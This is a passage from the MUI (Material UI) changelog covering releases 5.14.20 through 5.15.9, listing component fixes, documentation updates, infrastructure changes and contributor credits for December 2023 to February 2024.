[docs-infra] Fix search icon issue (#40957) @oliviertassinari\n- [docs-infra] Ignore classes tagged with `@ignore` (#41009) @cherniavskii\n- [docs-infra] Fix selected tab on codeblocks (#41036) @danilo-leal\n\nAll contributors of this release in alphabetical order: @cherniavskii, @danilo-leal, @joserodolfofreitas, @millerized, @oliviertassinari, @sai6855, @siriwatknp, @Smileek\n\n## 5.15.9\n\n<!-- generated comparing v5.15.8..master -->\n\n_Feb 8, 2024_\n\nA big thanks to the 7 contributors who made this release possible. Here are some highlights ✨:\n\n- 🐛 A critical fix to remove non-published library usage in `@mui/material` peerDependencies.\n\n### `@mui/material@5.15.9`\n\n- [autocomplete] Avoid spread operator (#40968) @oliviertassinari\n- [material] Remove zero-runtime from peer dep (#41003) @brijeshb42\n\n### `@mui/base@5.0.0-beta.36`\n\n- [base-ui] Update props using Array to ReadonlyArray type (#40754) @RaghavenderSingh\n\n### `@mui/system@5.15.9`\n\n- [system] use `ReadonlyArray` for CSS related types (#40972) @siriwatknp\n- [zero] Migrate to use wyw-in-js instead of linaria (#40866) @brijeshb42\n\n### Docs\n\n- [docs] Polish codemod git diff format @oliviertassinari\n- [material-ui][docs] Migrating from deprecated apis follow up (#40981) @DiegoAndai\n\n### Core\n\n- [code-infra] Move next config to ESM (#40869) @Janpot\n- [code-infra] Update prettier (#40772) @Janpot\n- [code-infra] Add codemod for `light` prop removal (#40947) @sai6855\n\nAll contributors of this release in alphabetical order: @brijeshb42, @DiegoAndai, @Janpot, @oliviertassinari, @RaghavenderSingh, @sai6855, @siriwatknp\n\n## 5.15.8\n\n<!-- generated comparing v5.15.7..master -->\n\n_Feb 6, 2024_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- 💫 Added a redesigned [landing page template](https://mui.com/material-ui/getting-started/templates/landing-page/) (#37557) @zanivan\n- ✨ Added support for Arrow Down/Up + Shift and Page Up/Down keys for faster stepping in the Slider component (#40676) @mnajdova\n- many 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.15.8`\n\n- [Avatar] Simplify valid children assertion (#40834) @oliviertassinari\n\n### `@mui/codemod@5.15.8`\n\n- [Accordion] Update props actual.js test case (#40879) @DiegoAndai\n- Fix `findComponentJSX` util (#40855) @sai6855\n\n### `@mui/system@5.15.8`\n\n- Add blend color manipulator (#40258) @romgrk\n- Support variants in `theme.styleOverrides` (#40690) @siriwatknp\n- [zero] Always replace the `createUseThemeProps` call (#40885) @siriwatknp\n- [zero] Add README with installation and basic usage (#40761) @brijeshb42\n\n### `@mui/base@5.0.0-beta.34`\n\n- [Button] Add support for `hostElementName` prop to improve SSR (#40507) @mj12albert\n- [Menu] Use Popup instead of Popper (#40731) @michaldudak\n- [useNumberInput] Integrate useNumberInput with useControllableReducer (#40206) @mj12albert\n- [Slider] Add support for Arrow Down/Up + Shift and Page Up/Down keys (#40676) @mnajdova\n\n### Docs\n\n- [base-ui] Update usage.md (#40916) @adebiyial\n- [base-ui] Improve Base UI traffic from Material UI (#40875) @oliviertassinari\n- [base-ui] Change Radio component terminology from Button to Group (#40888) @danilo-leal\n- [base-ui] Remove redundant \"Styled\" prefix (#40478) @oliviertassinari\n- [base-ui] Update listbox slot style in demo (#40952) @sai6855\n- [material-ui] Fix createTheme import and markdown format in the Next.js guide (#40895) @hsmtkk\n- [material-ui] Correct Google font CDN URL as Roboto 600 weight is not used (#40852) @xuhdev\n- [material-ui] Replace the Album template with a landing page (#37557) @zanivan\n- [material-ui] Add deprecations migration guide (#40767) @DiegoAndai\n- [material-ui] Improve aria-label throughout the Button Group demos (#40892) @danilo-leal\n- [joy-ui] Update the Overview callout (#40900) @danilo-leal\n- Fix image size and dark mode @oliviertassinari\n- Migrate links from legacy.reactjs.org to react.dev @oliviertassinari\n- Fix 301 links @oliviertassinari\n- Fix outdated link @oliviertassinari\n- Fix URL and typo in CONTRIBUTING.md (#40899) @Smileek\n\n### Core\n\n- [blog] Optimize images for /blog/mui-x-v7-beta/ @oliviertassinari\n- [blog] Clarify barrel index tree-shaking @oliviertassinari\n- [code-infra] Simplify bug reproduction (#40833) @oliviertassinari\n- [code-infra] Prepare publishing @mui-internal/typescript-to-proptypes to npm (#40842) @michaldudak\n- [code-infra] Remove babel alias from the docs (#40792) @Janpot\n- [core] Use Google Font v2 API @oliviertassinari\n- [core] Add missing change to v5.15.7 changelog (#40872) @DiegoAndai\n- [core] Normalize `<meta name=\"viewport\" />`` @oliviertassinari\n- [dependencies] Do not update envinfo test dependencies (#40950) @michaldudak\n- [docs-infra] Fix arbitrary gap between paragraphs in callouts (#40911) @oliviertassinari\n- [docs-infra] Allow developers to build their CodeSandbox export (#40878) @oliviertassinari\n- [docs-infra] Improve StackBlitz support (#40832) @oliviertassinari\n- [docs-infra] Improve support for absolute locale URL (#40940) @oliviertassinari\n- [Menu][base-ui] Fix improperly merged tests (#40896) @michaldudak\n- [utils] Use consistent build approach (#40837) @siriwatknp\n- [zero] Fix build for demo next.js app (#40854) @brijeshb42\n\nAll contributors of this release in alphabetical order: @adebiyial, @brijeshb42, @danilo-leal, @DiegoAndai, @hsmtkk, @Janpot, @michaldudak, @mj12albert, @mnajdova, @oliviertassinari, @rluzists1, @romgrk, @sai6855, @siriwatknp, @Smileek, @xuhdev, @zanivan\n\n## 5.15.7\n\n<!-- generated comparing v5.15.6..master -->\n\n_Jan 31, 2024_\n\nA big thanks to the 21 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.15.7`\n\n- [Select] Fix to show notched outline when `displayEmpty` (#40865) @ZeeshanTamboli\n- [Avatar] Improve fallback when `children` is empty string or boolean (#40766) @mirus-ua\n- [AvatarGroup] Refactor component thereby fixing custom spacing logic (#40686) @ZeeshanTamboli\n\n### `@mui/codemod@5.15.7`\n\n- Add accordion props deprecation (#40771) @siriwatknp\n\n### `@mui/system@5.15.7`\n\n- [zero-runtime] Use lodash instead of its subpackages (#40868) @michaldudak\n- Add `applyStyles()` to theme (#40667) @siriwatknp\n- [zero] Use `theme.applyStyles()` in the demo app (#40787) @siriwatknp\n- [zero] Add `useThemeProps` processor (#40648) @siriwatknp\n\n### `@mui/utils@5.15.7`\n\n- [core] Remove unnecessary default export (#40788) @siriwatknp\n- [core] Convert all exports to modules (#39882) @mnajdova\n- [perf] Prevent unneeded `clearTimeout` calls (#39060) @romgrk\n\n### `@mui/base@5.0.0-beta.34`\n\n- [Input] Add OTP input demo (#40539) @sai6855\n- [Menu] Focus last item after opening a menu using up arrow (#40764) @Jaswanth-Sriram-Veturi\n- [Menu] Focus Menu Items on hover (#40755) @michaldudak\n\n### `@mui/joy@5.0.0-beta.25`\n\n- Change the color scheme type to `SupportedColorScheme` (#40776) @Nikhilh26\n\n### `@mui/lab@5.0.0-alpha.163`\n\n- [TabContext] Support number type in `value` (#40829) @srinidhi9831\n\n### Docs\n\n- [material-ui] Fix the icon preview dialog (#40863) @danilo-leal\n- [material-ui] Fix typo on styled-components guide (#40858) @dancielos\n- [base-ui] Fix CSS vars from the plain CSS theme stylesheet (#40762) @zanivan\n- [material-ui][Divider] Remove light prop references from docs (#40782) @sai6855\n- Fix build @oliviertassinari\n- Add support pages for each product @oliviertassinari\n- Add survey banner to docs and website (#40553) @joserodolfofreitas\n- [Menu] Fix hydration mismatch error on Base UI's Menu docs (#40758) @michaldudak\n- [material-nextjs] Add theming and configuration content to the page (#40626) @siriwatknp\n\n### Core\n\n- [material-ui][test][Alert] Add action, icon, and iconMapping tests (#40682) @DiegoAndai\n- [blog] Lint duplicate h1 on the page (#40835) @oliviertassinari\n- [blog] MUI X v7 beta announcement blogpost (#40784) @joserodolfofreitas\n- [code-infra] Remove custom TS installation script (#40636) @michaldudak\n- [code-infra] Correct API Docs Builder dependencies (#40775) @michaldudak\n- [code-infra] Migrate to prettier async APIs (#40668) @Janpot\n- [code-infra] Refined docs generation (#40603) @alexfauquette\n- [code-infra] Explain how to install the browsers (#40474) @oliviertassinari\n- `missingKeyGenerator` do no longer exist (#40830) @oliviertassinari\n- Rely on immutable ref when possible (#40831) @oliviertassinari\n- Remove deprecated `@types/markdown-to-jsx` package from docs (#40828) @ZeeshanTamboli\n- Remove unneeded `@slack/web-api` package (#40840) @ZeeshanTamboli\n- Clarify TODO instruction @oliviertassinari\n- Remove unneeded use-clients (#40663) @oliviertassinari\n- [docs-infra] Fix anchor link hook (#40836) @oliviertassinari\n- [docs-infra] Avoid layout shift on docs-pages (#40749) @oliviertassinari\n- [examples] Fix build on Next.js Pages Router examples (#40665) @oliviertassinari\n- [test] Speed up the envinfo test (#40669) @michaldudak\n- [typescript-to-proptypes] Allow to represent dates as `PropTypes.object` (#40774) @flaviendelangle\n\nAll contributors of this release in alphabetical order: @alexfauquette, @colmtuite, @danilo-leal, @DiegoAndai, @EyaOuenniche, @flaviendelangle, @Janpot, @Jaswanth-Sriram-Veturi, @joserodolfofreitas, @michaldudak, @mirus-ua, @mnajdova, @mohamedsaiedd, @Nikhilh26, @oliviertassinari, @romgrk, @sai6855, @siriwatknp, @srinidhi9831, @zanivan, @ZeeshanTamboli\n\n## 5.15.6\n\n<!-- generated comparing v5.15.5..master -->\n\n_Jan 22, 2024_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.15.6`\n\n- [Avatar] Use variants api (#40324) @mnajdova\n- [TablePagination] Accept readonly array for `rowsPerPageOptions` prop (#40481) @pcorpet\n- [PaginationItem] Deprecate classes for v6 (#40673) @sai6855\n- [Rating] Fix rating width via min-content (#40503) @devhik0\n\n### `@mui/base@5.0.0-beta.33`\n\n- [Select] Fix display of selected Options with rich content (#40689) @michaldudak\n- [Select] Use Popup instead of Popper (#40524) @michaldudak\n- [useMenuButton] Fix non native button triggers (#40645) @DiegoAndai\n\n### `@mui/system@5.15.6`\n\n- [zero] Fix theme token import in source file (#40691) @brijeshb42\n- [zero] Add support for css import (#40541) @brijeshb42\n\n### `@mui/icons-material@5.15.6`\n\n- [icons-material] Fix icons package.json version (#40655) @mj12albert\n\n### Docs\n\n- [base-ui] Polish the Slider demos (#40332) @danilo-leal\n- [base-ui][Slider] Fix plain CSS demo's wrong keyboard behavior (#40652) @mnajdova\n- [base-ui][TextareaAutosize] Add border-box to demo (#40646) @ANUGLYPLUGIN\n- Fix brand name non-breaking space (#40701) @oliviertassinari\n- Improve error message for MUI Vale rule @oliviertassinari\n- Add notification to publish the survey (#40552) @joserodolfofreitas\n- [system] Explain a bit more how AppRouterCacheProvider works @oliviertassinari\n- [joy-ui] Move tutorial to iframe (#40567) @oliviertassinari\n- [material-ui][Slider] Remove custom divs from new demo (#40674) @zanivan\n- [material-ui] Improve TabContext, TabList, and TabPanel documentation (#40587) @anle9650\n- [material-ui][Slider] Added custom mark labels demo (#40647) @DonikaV\n\n### Core\n\n- [core] Fix RXDB-logo Url (#40724) @mohamedsaiedd\n- [code-infra] Improve proptypes-generation (#40617) @alexfauquette\n- [code-infra] Disable pnpm package cache on CircleCI (#40670) @michaldudak\n- [code-infra] Add missing package to CodeSandbox CI config (#40657) @michaldudak\n- [code-infra] Remove unnecessary @mui/utils dependency from api-docs-builder (#40632) @michaldudak\n- [core] Polish issue templates @oliviertassinari\n- [docs-infra] Support markdown link in slots descriptions (#40679) @alexfauquette\n- [examples] Simplify Next.js example (#40661) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @alexfauquette, @anle9650, @ANUGLYPLUGIN, @brijeshb42, @danilo-leal, @devhik0, @DiegoAndai, @DonikaV, @joserodolfofreitas, @michaldudak, @mj12albert, @mnajdova, @mohamedsaiedd, @oliviertassinari, @pcorpet, @sai6855, @zanivan\n\n## 5.15.5\n\n<!-- generated comparing v5.15.4..master -->\n\n_Jan 17, 2024_\n\nA big thanks to the 18 contributors who made this release possible. Here are some highlights ✨:\n\n- Base UI's CSS class prefix is now `base-` (#40205) @michaldudak\n- Bug fixes, and a lot of improvements to code and docs infra\n\n### `@mui/material@5.15.5`\n\n- [Accordion] Deprecate \\*Props props and classes for v6 (#40418) @DiegoAndai\n- [Alert] Update TypeScript types to allow color override types to be added to `iconMapping` and `severity` props (#40551) @2metres\n- [Dialog] Remove deprecated onBackdropClick from Dialog tests (#40505) @sai6855\n- [Divider] Deprecate props and classes for v6 (#40563) @sai6855\n\n### `@mui/material-next@6.0.0-alpha.118`\n\n- [ButtonGroup] Apply MD3 style to `ButtonGroup` (#40124) @lhilgert9\n\n### `@mui/base@5.0.0-beta.32`\n\n#### Breaking changes\n\n- Change the CSS class prefix to `base-` (#40205) @michaldudak\n\nThe class prefix of Base UI components have been changed from `Mui-` to `base-`. This only affects codebases that uses class names verbatim, i.e. not exposed by JS objects such as `buttonClasses`, but as plain strings or in CSS stylesheets (`.MuiButton.root`)\n\nTo adapt your code to the new pattern:\n\n- replace all occurrences of the regex `.Mui([A-Z][A-Za-z]*)-` with `.base-$1-` (so `MuiButton-root` becomes `base-Button-root`, etc.),\n- replace all occurrences of the regex `.Mui-([a-z]*)` with `.base--$1` (so `Mui-disabled` becomes `base--disabled`, etc.).\n\n#### Changes\n\n- [Select] Fix screen-reader CSS to avoid body scrollbar (#40599) @brijeshb42\n- [Switch] Add border-box to demos (#40638) @zanivan\n\n### `@mui/joy@5.0.0-beta.23`\n\n- [ModalDialog] Fix ModalDialog layout prop override (#40512) @maakcode\n- [RadioGroup] Allow zero number as a value (#40344) @aacevski\n\n### `@mui/codemod@5.15.5`\n\n- Allow `json` files to be transformed (#40536) @ZeeshanTamboli\n\n### `@mui/lab@5.0.0-alpha.161`\n\n- Update `@mui/material` peer dependency version (#40528) @ZeeshanTamboli\n\n### `@mui/material-nextjs@5.15.5`\n\n- Fix release script (#40519) @petrovmiroslav\n- Support Nonces in the App Router Provider (#40269) @josh-feldman\n- Polish @mui/material-nextjs (#40473) @oliviertassinari\n\n### `@mui/system@5.15.5`\n\n- Fix import path for @mui/system in vite apps (#40490) @brijeshb42\n- Fix css vars generation and simplify the code (#40530) @siriwatknp\n- Identify zero runtime styled path (#40555) @brijeshb42\n\n### Docs\n\n- [joy-ui][Card] Fix text alignment in horizontal aligned card demo (#40562) @ZeeshanTamboli\n- Improve instructions about peer dependencies (#40621) @danilo-leal\n- Solve page description length @oliviertassinari\n- Fix MUI Treasury links (#40561) @siriwatknp\n- [material-ui] Update <ListItem button/> to ListItemButton in demos (#40564) @sai6855\n- [material-ui] Revise the Snackbar page (#39298) @danilo-leal\n- [material-ui] Sharpen Material 3 copy on demo pages (#40546) @samuelsycamore\n- [material-ui] Fix typo on Next.js integration guide (#40538) @zanivan\n- [material-ui][Snackbar] Remove unused `State` interface from Consecutive Snackbars demo (#40410)\n  @zinoroman\n\n### Core\n\n- [blog] Fix 404 link to MUI Treasury @oliviertassinari\n- [code-infra] Add `run` command to deploy docs (#40513) @siriwatknp\n- [core] Update the lockfile (#40628) @michaldudak\n- [core] Remove dead code and follow standard @oliviertassinari\n- [core] Simplify server detection (#40471) @oliviertassinari\n- [core] Sync playwright cache between MUI X and Material UI (#40475) @oliviertassinari\n- [dependencies] Bump tough-cookie (#40437) @michaldudak\n- [docs-infra] Enforce brand name rules (#40525) @oliviertassinari\n- [docs-infra] Minimize ad layout shift on mobile (#40582) @oliviertassinari\n- [docs-infra] Improve API page deprecation info (#40440) @DiegoAndai\n- [docs-infra] Remove old tocs banners (#40537) @oliviertassinari\n- [docs-infra] Remove dead code aria-label sponsors (#40526) @oliviertassinari\n- [utils] Centralize clamp implementation in utils (#40267) @Kamino0\n\nAll contributors of this release in alphabetical order: @2metres, @aacevski, @brijeshb42, @danilo-leal, @DiegoAndai, @josh-feldman, @Kamino0, @lhilgert9, @maakcode, @michaldudak, @oliviertassinari, @petrovmiroslav, @sai6855, @samuelsycamore, @siriwatknp, @zanivan, @ZeeshanTamboli, @zinoroman\n\n## 5.15.4\n\n<!-- generated comparing v5.15.3..master -->\n\n_Jan 10, 2024_\n\nA big thanks to the 22 contributors who made this release possible. Here are some highlights:\n\n- ✨ Material UI's [ToggleButtonGroup](https://mui.com/material-ui/react-toggle-button/) now supports non-button element as a child (e.g., showing a Tooltip on a disabled ToggleButton) (#40220) @Methuselah96\n\n### `@mui/material@5.15.4`\n\n- [TextField][FormLabel][InputLabel][FormControl] Use exact children type to allow React children type augmentation (#38872) @nicegamer7\n- [Select] Add form submission regression test (#40176) @mj12albert\n- [ToggleButtonGroup] Support different elements under it (#40220) @Methuselah96\n- [ClickAwayListener] Fix export of types (#40485) @illume\n\n### `@mui/material-nextjs@5.15.4`\n\n- Improve build size issue (#40436) @siriwatknp\n\n### `@mui/icons-material@5.15.4`\n\n- Update the icons (#40365) @michaldudak\n\n### `@mui/system@5.15.4`\n\n- [zero] Move zero runtime related packages (#40426) @brijeshb42\n- Fix all use of styled(Box) (#40449) @oliviertassinari\n\n### `@mui/utils@5.15.4`\n\n- Fix `isPlainObject` to work across realm (#39981) @brijeshb42\n\n### `@mui/base@5.0.0-beta.31`\n\n- [base-ui][NumberInput] Remove inputId and inputRef types from NumberInput component (#40425) @sai6855\n\n### `@mui/joy@5.0.0-beta.22`\n\n- [Badge] Shouldn't crash when using custom size (#39986) @iamsaumya\n- [ToggleButtonGroup] Add `JoyToggleButtonGroup` to extendTheme's components type export (#40407) @RiceCrisp\n\n### Docs\n\n- [base-ui] Visual tweaks to the plain CSS theme stylesheet (#40487) @zanivan\n- [base-ui] Add tokens to plain CSS theme stylesheet (#40113) @zanivan\n- [base-ui] Update the overview page (#40412) @danilo-leal\n- [material-ui][Drawer] Resolve flickering when double-clicking on the backdrop to close it (#40343) @aacevski\n- [material-ui] Refactor form submission in FormDialog component (#40470) @sai6855\n- [material-ui] Replace recharts with MUI X charts on the Dashboard template (#40107) @alexfauquette\n- [material-ui] Revise the Alert demo page (#34892) @samuelsycamore\n- [material-ui] Revise the Accordion page (#40284) @anle9650\n- [material-ui] Add docs for complementary Card components (#40346) @anle9650\n- [material-ui] Add Material Design 3 components page (#40350) @DiegoAndai\n- Fix strange italic style @oliviertassinari\n- Fix references to ESLint @oliviertassinari\n- Fix 301 redirections @oliviertassinari\n- Right-to-left revision and addition to Joy UI (#39158) @danilo-leal\n\n### Core\n\n- [examples] Use material-nextjs integration package (#40199) @siriwatknp\n- [code-infra] Configure build dependencies in nx (#40482) @michaldudak\n- [code-infra] Don't require noreferrer on target link (#40447) @oliviertassinari\n- [code-infra] Use tsx instead of ts-node (#40428) @michaldudak\n- [code-infra] Add options to docs-api generation to support X code structure (#40111) @alexfauquette\n- [docs-infra] Add types for withDocsInfra (#40301) @oliviertassinari\n- [docs-infra] Fix anchor links in API pages (#40450) @oliviertassinari\n- [docs-infra] Fix API table full-width (#40476) @oliviertassinari\n- [docs-infra] Fix the copy button overlapping with the scrollbar (#40405) @danilo-leal\n- [docs-infra] Remove explicit `mui-x` dependency resolving (#40257) @LukasTy\n- [docs-infra] Update the outlined Demo container dark mode color (#40488) @danilo-leal\n- [core] Lock file maintenance (#34538) @renovate[bot]\n- [core] Remove duplicate devDependencies (#40438) @michaldudak\n- [core] Remove issue emoji @oliviertassinari\n- [core] Move prefetch at the core, will propagate to MUI X @oliviertassinari\n- [core] Change package manager to pnpm (#36287) @Janpot\n- [core][docs] Remove the \"Understand MUI packages\" page (#39835) @savalaram-redkar\n- [test] Restore the `t` command (#40430) @michaldudak\n\nAll contributors of this release in alphabetical order: @aacevski, @alexfauquette, @anle9650, @brijeshb42, @danilo-leal, @DiegoAndai, @iamsaumya, @illume, @Janpot, @LukasTy, @Methuselah96, @michaldudak, @mj12albert, @nicegamer7, @oliviertassinari, @renovate[bot], @RiceCrisp, @sai6855, @samuelsycamore, @savalaram-redkar, @siriwatknp, @zanivan\n\n## 5.15.3\n\n<!-- generated comparing v5.15.2..master -->\n\n_Jan 3, 2024_\n\nA big thanks to the 11 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material-nextjs@5.15.3`\n\n- [material-nextjs] Fix order of emotion server (#40409) @siriwatknp\n\n### `@mui/base@5.0.0-beta.30`\n\n- [useSlider] Rearrange passive option in eventlisteners (#40235) @Kamino0\n\n### `@mui/lab@5.0.0-alpha.159`\n\n- Add use client directive (#40358) @DiegoAndai\n\n### `@mui/material-next@6.0.0-alpha.116`\n\n- [List] Copy all List\\* components to material-next package (#40367) @sai6855\n- Update CONTRIBUTING guide given v6/v7 rescheduling (#40363) @DiegoAndai\n- [MenuItem] Fix spec import (#40271) @DiegoAndai\n- [Option] Add Option component (#40270) @DiegoAndai\n- [Slider] Replace lodash with internal utils (#40261) @DiegoAndai\n- [Switch] Change files to TypeScript (#39894) @lhilgert9\n- [theme] Move ref palette out of color schemes (#40341) @DiegoAndai\n\n### Docs\n\n- [base-ui] Polish the Table Pagination demos (#40281) @danilo-leal\n- [joy-ui] Fix dashboard template console errors (#40316) @oliviertassinari\n- [joy-ui] Fix image size on the Files template (#40315) @oliviertassinari\n- [material-ui] Revise the Divider page (#40356) @danilo-leal\n- [material-ui] Polish the Next.js integration page (#40317) @oliviertassinari\n- [material-ui] Adding autoFocus on Virtual Popover (#40239) @aacevski\n- [material-ui] Revise the Roadmap page (#40054) @danilo-leal\n- [material-ui] Update the \"showing and hiding\" section on the Tooltip page (#40283) @anle9650\n- [material-ui] Fix Slider's customized iOS demo to use updated official colors (#39813) @Super-Kenil\n- [examples] Simplify Next.js example (#40318) @oliviertassinari\n\n### Core\n\n- [blog] Update open-graph cards for all posts (#40328) @danilo-leal\n- [blog] Correct git diff @oliviertassinari\n- [code-infra] Update lerna and unpin its version (#40399) @michaldudak\n- [code-infra] Break package dependency cycle between @mui/material and @mui/icons-material (#40400) @michaldudak\n- [code-infra] Break package dependency cycles (#40398) @michaldudak\n- [code-infra] Sync bug issue template (#40305) @oliviertassinari\n- [docs] Fix 301 link to Base UI (#40396) @oliviertassinari\n- [docs] Link new MUI X components in sidnav (#40345) @oliviertassinari\n- [docs] Fix 301 links to Toolpad @oliviertassinari\n- [docs] Remove old notifications @oliviertassinari\n- [docs] Always mention the npm tag with npx (#40335) @oliviertassinari\n- [docs] Reduce network use on the All Components pages (#40313) @oliviertassinari\n- [docs-infra] Fix missing button aria-label (#40394) @oliviertassinari\n- [docs-infra] Fix a11y violation rule (#40393) @oliviertassinari\n- [docs-infra] Prefetch pages on hover (#40314) @oliviertassinari\n- [docs-infra] Fix footer links to link to the main domain (#40373) @oliviertassinari\n- [docs-infra] Add stray design adjustments (#40347) @danilo-leal\n\nAll contributors of this release in alphabetical order: @aacevski, @anle9650, @danilo-leal, @DiegoAndai, @Kamino0, @lhilgert9, @michaldudak, @oliviertassinari, @sai6855, @siriwatknp, @Super-Kenil\n\n## 5.15.2\n\n<!-- generated comparing v5.15.1..master -->\n\n_Dec 25, 2023_\n\nA big thanks to the 13 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 Added support for callbacks in the [variant's props definition](https://mui.com/material-ui/customization/theme-components/#creating-new-component-variants) (#40094) @mnajdova\n- 💫 Published a [blogpost](https://mui.com/blog/2023-material-ui-v6-and-beyond/) for the 2024's plan about Material UI\n\n### `@mui/material@5.15.2`\n\n- [Badge] Use the variants API in the styled call (#40213) @mnajdova\n- [Paper] Add missing Paper classes descriptions (#40300) @sai6855\n\n### `@mui/system@5.15.2`\n\n- Support props callback in the variant's definition (#40094) @mnajdova\n\n### `@mui/base@5.0.0-beta.29`\n\n- [Popup] Use context-based transition API (#39326) @michaldudak\n- [Popup] Popup no longer opens outside viewport (#39827) @adamhylander\n- [useSelect] Refactor to use DOM focus management instead of active descendant (#39675) @DiegoAndai\n\n### `@mui/material-next@6.0.0-alpha.115`\n\n- [material-next][Divider]Divider ts support (#40307) @sai6855\n\n### Docs\n\n- [base-ui] Fix form submission Select demo (#40014) @ZeeshanTamboli\n- [blog] Add Material UI v6 and beyond blog post (#40242) @mnajdova\n- [material-ui] Fix broken links in the All components page (#40303) @muazaqdas\n- [material-ui] Fix broken links on the All components page (#40279) @danilo-leal\n- [material-ui] Add aria-current for nav tabs demo (#39594) @Kimzify\n- [material-ui] Add an \"All components\" page (#40256) @danilo-leal\n- [material-ui][Tooltip] Add demo to show how to change distance between tooltip and its anchor (#40087) @anle9650\n\n### Core\n\n- [blog] Fix 301 redirection @oliviertassinari\n- [blog] Reduce max image size @oliviertassinari\n- [code-infra] Extract Babel macro from mui-utils (#40262) @michaldudak\n- [core] Simplify a bit the release instructions @oliviertassinari\n- [core] Push force to deploy is not unexpected @oliviertassinari\n- [core] Fix CSS2 vs. CSS3 ::after syntax @oliviertassinari\n- [core] Fix CSS2 vs. CSS3 ::before syntax @oliviertassinari\n- [core] Use direct import from utils package (#40254) @siriwatknp\n- [core] Yaml format match most common convention @oliviertassinari\n- [core] Polish docs-feedback issue template @oliviertassinari\n- [core] Pin Node version on GitHub Actions to 18.18 (#40187) @michaldudak\n- [docs] Fix SEO regression (#40306) @oliviertassinari\n- [docs] Fix docs redirections @oliviertassinari\n- [docs] Update the Contributing guide to give more guidance on documentation (#40274) @samuelsycamore\n- [docs-infra] Add polish to the inline code block (#40260) @danilo-leal\n\nAll contributors of this release in alphabetical order: @adamhylander, @anle9650, @danilo-leal, @DiegoAndai, @Kimzify, @michaldudak, @mnajdova, @muazaqdas, @oliviertassinari, @sai6855, @samuelsycamore, @siriwatknp, @ZeeshanTamboli\n\n## 5.15.1\n\n<!-- generated comparing v5.15.0..master -->\n\n_Dec 19, 2023_\n\nA big thanks to the 15 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.15.1`\n\n- [CardActions][DialogActions] Apply margin for all children except for 1st child (#40168) @sai6855\n- [TablePagination] Add ability to change icons in TablePaginationActions using `slots` and `slotProps` (#33797) @pratikkarad\n- [CssVarsProvider] Fix HSL breaking button styles (#39869) @gitstart\n\n### `@mui/joy@5.0.0-beta.19`\n\n- [FormControl] Fix issue with the conditional setting of `htmlFor` and `id` attributes not functioning properly for form labels (#40180) @ReaZzy\n- [typescript] Address TypeScript issue with custom zIndex not functioning (#40133) @qiweiii\n\n### `@mui/styled-engine-sc@6.0.0-alpha.9`\n\n- [typescript] Fix `theme` being of type any (#40200) @mnajdova\n\n### Docs\n\n- [joy-ui] Fix typo in the CSS baseline page (#40222) @possibilities\n- [joy-ui] Document missing Autocomplete props (#39979) @ZeeshanTamboli\n- [joy-ui] Fix typo about Typography levels (#40230) @zanivan\n- [material-ui] Update the related projects page to list `mui-tiptap` for rich text (#40216) @sjdemartini\n- [material-ui] Fix typo in the Next.js integration page (#40209) @s8990\n\n### Core\n\n- [blog] Fix access to Notion without an account @oliviertassinari\n- [core] Update workflows and issue templates to reflect the updated label (#40197) @MBilalShafi\n- [docs] Replace Twitter with X (#40193) @mbrookes\n- [docs-infra] Uplift the Algolia search modal design (#40186) @danilo-leal\n\nAll contributors of this release in alphabetical order: @danilo-leal, @gitstart, @MBilalShafi, @mbrookes, @mnajdova, @oliviertassinari, @possibilities, @pratikkarad, @qiweiii, @ReaZzy, @s8990, @sai6855, @sjdemartini, @zanivan, @ZeeshanTamboli\n\n## 5.15.0\n\n<!-- generated comparing v5.14.20..master -->\n\n_Dec 11, 2023_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 Added [a new package for a better Material UI integration with Next.js](https://mui.com/material-ui/guides/nextjs) (#39947) @siriwatknp\n\n### `@mui/material@5.15.0`\n\n- Revert \"[Select][material-ui] Add name to hidden input element\" (#40174) @mj12albert\n- [material-ui] Refactor ComponentsVariants type into a generic (#39623) @blakenetz\n\n### `@mui/material-nextjs@5.15.0`\n\n- [material-ui] Add new Next.js integration package (#39947) @siriwatknp\n\n### `@mui/material-next@6.0.0-alpha.113`\n\n- [Badge][material-next] Apply new OwnerState type to Badge (#40119) @lhilgert9\n- [material-next][ButtonGroup] Change `ButtonGroup` files to ts (#39794) @lhilgert9\n\n### `@mui/icons-material@5.15.0`\n\n- [icons] Add X logo (#38811) @abreel\n\n### `@mui/base@5.0.0-beta.27`\n\n- [base-ui] useControllableReducer warns when controlled props become uncontrolled (and vice versa) (#39096) @mj12albert\n\n### `@mui/joy@5.0.0-beta.18`\n\n- [joy-ui][Radio][Input] Fix inheritance of disabled prop (#39934) @sai6855\n\n### `@mui/lab@5.0.0-alpha.156`\n\n- [lab][LoadingButton] LoadingButton now inherits props from ButtonGroup (#39679) @lhilgert9\n\n### Docs\n\n- [docs] Fix reference to non-existent checkmark in supported-components.md (#40056) @mbrookes\n- [docs][base-ui] Add copy button & primary color picker to the component gallery page (#39884) @mnajdova\n- [docs-infra] Update CodeSandbox links (#39992) @anle9650\n- [material-ui][docs] Fix wrong root element for emotion styles in shadow DOM (#35326) @EloB\n- [material-ui][docs] Move the responsive font charts from recharts to MUI X (#40097) @alexfauquette\n- [joy-ui][templates] Remove outdated code (#40095) @zanivan\n- [material-ui][docs][Popper] Update Positioned Popper demo styles (#40170) @sai6855\n\n### Core\n\n- [blog] Add a Phuket retreat blog post (#40055) @mikailaread\n- [blog] Adjust the latest MUI X blog post (#40046) @danilo-leal\n- [core] Migrate from tslint to ESLint (#40020) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @abreel, @alexfauquette, @anle9650, @blakenetz, @danilo-leal, @EloB, @lhilgert9, @mbrookes, @mikailaread, @mj12albert, @mnajdova, @sai6855, @siriwatknp, @zanivan, @ZeeshanTamboli\n\n## 5.14.20\n\n<!-- generated comparing v5.14.19..master -->\n\n_Dec 5, 2023_\n\nA big thanks to the 14 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 